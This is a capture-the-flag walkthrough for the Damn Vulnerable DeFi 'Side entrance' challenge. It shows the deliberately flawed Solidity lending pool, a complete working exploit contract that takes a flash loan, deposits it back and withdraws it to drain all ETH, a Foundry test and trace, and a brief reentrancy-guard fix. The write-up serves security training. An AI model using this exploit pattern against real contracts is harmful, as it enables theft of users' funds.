CTF walkthrough, Damn Vulnerable DeFi, #4 Side entrance

Challenge

A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time. This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system. You must take all ETH from the lending pool.

Here is the lending pool contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;

import {Address} from "openzeppelin-contracts/utils/Address.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    using Address for address payable;

    mapping(address => uint256) private balances;

    error NotEnoughETHInPool();
    error FlashLoanHasNotBeenPaidBack();

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amountToWithdraw = balances[msg.sender];
        balances[msg.sender] = 0;
        payable(msg.sender).sendValue(amountToWithdraw);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;
        if (balanceBefore < amount) revert NotEnoughETHInPool();

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore)
            revert FlashLoanHasNotBeenPaidBack();
    }
}

Side entrance lender pool…🤔 Sounds like a “lender pool with a back door” 😂

Analysis

The first thing I’ve noticed is that the SideEntranceLenderPool doesn’t use the ReentrancyGuard, in contrast to what we’ve seen in previous challenges. But at this moment it’s not obvious for me how to leverage the re-entrancy here.

The contract has the balances mapping to track the deposited ETH:

mapping(address => uint256) private balances;

Anyone can deposit funds using the deposit function:

function deposit() external payable {
    balances[msg.sender] += msg.value;
}

And they can withdraw their deposited funds by calling the withdraw function:

function withdraw() external {
    uint256 amountToWithdraw = balances[msg.sender];
    balances[msg.sender] = 0;
    payable(msg.sender).sendValue(amountToWithdraw);
}

It uses the Checks-Effects-Interactions pattern, so it looks like it is invulnerable to the re-entrancy attack.

Let’s explore what the flashLoan function does:

function flashLoan(uint256 amount) external {
    uint256 balanceBefore = address(this).balance;
    if (balanceBefore < amount) revert NotEnoughETHInPool();

    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

    if (address(this).balance < balanceBefore)
        revert FlashLoanHasNotBeenPaidBack();
}
  • It takes an amount of Ether that the user wants to borrow.
  • Check if the lending pool has enough funds.
  • Assumes that the msg.sender is a contract that implements the IFlashLoanEtherReceiver interface and calls the execute function on it sending the requested amount of Ether.
  • Afterward, it checks that the flash loan has been repaid.

The problem is that the lending pool contract doesn’t check that its balance is less than or equal to the sum of all the deposited funds. What if we take a flash loan of all the pool’s funds and use the borrowed funds to make a deposit repaying the loan simultaneously? That should let us take all ETH and drain the pool.

Exploit

We need a contract that is going to take the loan. Let’s call it Exploit. It should implement the IFlashLoanEtherReceiver interface and have the receive function so we could withdraw our deposited funds later.

 contract Exploit is IFlashLoanEtherReceiver {
    SideEntranceLenderPool private pool;
    address private owner;

    constructor(SideEntranceLenderPool _pool) {
        owner = msg.sender;
        pool = _pool;
    }

    function execute() external payable {
        require(msg.sender == address(pool), "Sender is not a pool");
        // ...
    }

    function run() external {
        require(msg.sender == owner, "Not an owner");
        uint256 poolBalance = address(pool).balance;
        pool.flashLoan(poolBalance);

        // ...

        // Send stolen funds to the owner (attacker)
        payable(owner).sendValue(address(this).balance);
    }

    receive() external payable {}
}

The following sequence diagram shows our exploit scenario:

%%{init: {'theme':'neutral'}}%% sequenceDiagram actor A as Attacker participant E as Exploit participant P as SideEntranceLenderPool A->>E: new(pool) activate E A->>E: run() E->>P: flashLoan(address(pool).balance) activate P Note right of E: take a flash loan of all the pool's funds P->>E: execute() Note right of E: the pool calls execute() sending all the Ether E->>P: deposit(msg.value) Note right of E: deposit all the borrowed funds P->>P: balances[msg.sender] += msg.value P-->>E: () deactivate P E->>P: withdraw() Note right of E: immediately withdraw everything P->>P: balances[msg.sender] = 0 P->>E: sendValue(...) Note left of P: sendValue(...) calls the receive() function P->>P: check address(this).balance < balanceBefore P-->>E: () E->>A: sendValue(...) Note right of A: withdraw stolen ETH deactivate E

The exploit:

contract Exploit is IFlashLoanEtherReceiver {
    using Address for address payable;

    SideEntranceLenderPool private pool;
    address private owner;

    constructor(SideEntranceLenderPool _pool) {
        owner = msg.sender;
        pool = _pool;
    }

    function execute() external payable {
        require(msg.sender == address(pool), "Sender is not a pool");
        pool.deposit{value: msg.value}();
    }

    function run() external {
        require(msg.sender == owner, "Not an owner");
        uint256 poolBalance = address(pool).balance;
        pool.flashLoan(poolBalance);
        pool.withdraw();

        payable(owner).sendValue(address(this).balance);
    }

    receive() external payable {}
}
 function testExploit() public {
    /** EXPLOIT START **/
    vm.startPrank(attacker);
    Exploit expl = new Exploit(sideEntranceLenderPool);
    expl.run();
    vm.stopPrank();
    /** EXPLOIT END **/
    validation();
}

The forge’s trace reflects what we’ve seen on the diagram above:

[304450] SideEntrance::testExploit()
  ├─ [0] VM::startPrank(Attacker: [0x9af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7])
  │   └─ ← ()
  ├─ [225707] → new Exploit@"0x8ff7…c3ec"
  │   └─ ← 905 bytes of code
  ├─ [44491] Exploit::run()
  │   ├─ [37187] Side Entrance Lender Pool::flashLoan(1000000000000000000000)
  │   │   ├─ [29848] Exploit::execute{value: 1000000000000000000000}()
  │   │   │   ├─ [22410] Side Entrance Lender Pool::deposit{value: 1000000000000000000000}()
  │   │   │   │   └─ ← ()
  │   │   │   └─ ← ()
  │   │   └─ ← ()
  │   ├─ [5971] Side Entrance Lender Pool::withdraw()
  │   │   ├─ [55] Exploit::fallback{value: 1000000000000000000000}()
  │   │   │   └─ ← ()
  │   │   └─ ← ()
  │   ├─ [0] Attacker::fallback{value: 1000000000000000000000}()
  │   │   └─ ← ()
  │   └─ ← ()
  ├─ [0] VM::stopPrank()
  │   └─ ← ()
  └─ ← ()

Remediation

Use the ReentrancyGuard from OpenZeppelin to fix the cross-function reentrancy.

References


Thanks for reading! The solution code is here.

Let’s move on to the next challenge – #5 The rewarder!